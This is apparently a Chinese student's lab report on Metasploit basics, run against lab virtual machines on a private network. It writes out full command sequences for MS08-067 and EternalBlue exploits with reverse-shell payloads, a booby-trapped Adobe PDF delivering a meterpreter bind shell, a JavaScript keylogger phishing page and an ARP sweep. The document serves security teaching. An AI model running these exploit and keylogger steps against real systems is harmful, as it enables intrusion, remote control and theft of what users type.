一、原理与实践说明
1.实践原理
1.MSF攻击方法
- 主动攻击:扫描主机漏洞,进行攻击
- 攻击浏览器
- 攻击其他客户端
2.MSF的六个模块
查看六种模块源码目录/usr/share/metasploit-framework/modules
- 渗透攻击模块
Exploit Modules
:攻击漏洞,把shellcode"背"过去 - 辅助模块
Auxiliary Modules
:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提 - 攻击载荷
Payload Modules
:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码 - 空字段模块
Nop Modules
- 编码模块
Encoders
- 后渗透攻击模块
Post
:攻击成功之后,动态传输代码使其在被控机执行
3.MSF的三种用户操作界面
- msfconsole
- 查看模块的具体信息
info [exploits|auxiliary|post|payloads|encoders|nops]
- 查看设置信息
show [options]
- 查看攻击目标类型
show [target]
- 查找命令
search
- 查找2018年产生的在windows平台下的漏洞
search ms18(或CNE:2018) type:exploit platform:windows
- 查看模块的具体信息
- armitage
- 启动服务器
service postgresql start
- 启动
armitagearmitage
- 启动服务器
- webgui
4.MSF常用漏洞利用命令
search name
:用指定关键字搜索可以利用的漏洞模块use exploit name
:使用漏洞show options
:显示配置选项set option name option
:设置选项show payloads
:回链攻击载荷show targets
: 显示目标(os版本)set TARGET target number
:设置目标版本exploit
:开始漏洞攻击sessions -l
:列出会话sessions -i id
:选择会话sessions -k id
:结束会话Ctrl+z
:把会话放到后台Ctrl+c
:结束会话show auxiliary
:显示辅助模块use auxiliary name
:使用辅助模块set option name option
:设置选项exploit
:运行模块
二、实践内容
1.主动攻击实践
ms08-067(成功,不唯一)
ms08_067_netapi是一款Metasploit中有点老的溢出攻击载荷,攻击可以获得一个相对高的权限。
靶机:Microsoft Windows 2000(192.168.30.146)
payload : generic/shell_reverse_tcp
- 测试靶机与攻击机之间能否ping通
- 攻击者试探靶机是否存在此漏洞
nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.30.146
- 查看到靶机的版本号和存在此漏洞
- 查看到靶机的版本号和存在此漏洞
search ms08-067
查看漏洞位置use exploit/windows/smb/ms08_067_netapi
选择该漏洞set LHOST 192.168.30.135
设置攻击机IPset LPORT 5215
设置端口set RHOST 192.168.30.146
设置靶机IPshow options
查看信息
exploit
发起攻击,下图为攻击结果
2.针对浏览器的攻击
-
MS17-010(成功,不唯一)
-
靶机:Windows 7 + IE8
-
exploit : windows/smb/ms17_010_eternalblue
-
payload : generic/shell_reverse_tcp
-
实验步骤
use windows/smb/ms17_010_eternalblue
set payload generic/shell_reverse_tcp
set LHOST 192.168.30.135
set LPORT 5215
set RHOST 192.168.30.142
show options
exploit
- 攻击成功截图:
3.针对客户端的攻击
-
Adobe(成功,不唯一)
-
靶机:Windows XP(192.168.30.144)
-
payload : windows/meterpreter/bind_tcp
-
实验步骤:
msfconsole //进入控制台
search adobe //进行查找
use windows/fileformat/adobe_cooltype_sing //使用漏洞
info //查看漏洞具体信息(重点当然是description)
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set LPORT 5215 //设置端口号
set RHOST 192.168.30.144//设置靶机IP地址
exploit #攻击
-
将生成的
msf.pdf
复制到Windows XP中
-
kail中输入back退出当前模块,进入监听模块
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/bind_tcp //选择攻击载荷
show options //查看详细信息
set RHOST 192.168.30.144 //设置靶机IP地址
set LPORT 5215 //设置端口号
exploit //攻击
-
在靶机中使用双击打开msf.pdf
-
攻击成功
4.成功应用任何一个辅助模块(http_javascript_keylogger:成功,唯一)
http_javascript_keylogger(成功,唯一)
- 应用步骤
use server/capture/http_javascript_keylogger
set DEMO true
set URIPATH /
set SRVPORT 80
run
- 在windows XP 中打开IE输入
192.168.30.135//demo
进入钓鱼页面
- 攻击结果如图
arp_sweep(成功,不唯一)
arp_sweep使用ARP请求枚举本地局域网络中的全部活跃主机进行扫描。nmap也有相应指令。
use auxiliary/scanner/discovery/arp_sweep //使用arp_sweep 模块
set RHOSTS 192.168.30.135/30//用set进行hosts主机段设置
set THREADS 30//设置扫描速度
run //开始扫描
- 扫描结果如下
SP1.实验后问题回答与实验体会
1.基础问题回答
- (1)用自己的话解释什么是exploit,payload,encode.
- exploit是运输管道,连接漏洞,将payload传送到靶机中。
- payload是载荷,是exploit中shellcode中的主要功能代码,exploit把它送到靶机中。
- encode是编码,用来改变payload,避免payload中出现漏洞无法处理的字符。
2.距离实战还缺什么技术或步骤
- 要明确自己要进行那个方向的信息收集扫描,掌握了准确的信息才能成功进行MSF攻击
- 对MSF的学习不能流于表面,单纯只对着教程做攻击,应该学习内容,自主攻击。
3.实验体会
- 本次实验操作较为简单,但是找靶机花了挺多时间,而且下载也花了很长一段时间(因为迅雷没充会员)。这体现了metasploit攻击漏洞的专一性,必须在特定环境和特定触发条件下才能成功。
- 在实验过程中,我认为
search
是一个很重要的部分,少了这部分连需要做什么都不清楚。
SP2.参考资料
1.2018-2019-2 网络对抗技术 20165318 Exp5 MSF基础应用
2.0x59_MSF_MS-08067攻击实践.md
3.MSF基础应用
4.[MSF]server/capture/http_javascript_keylogger键盘记录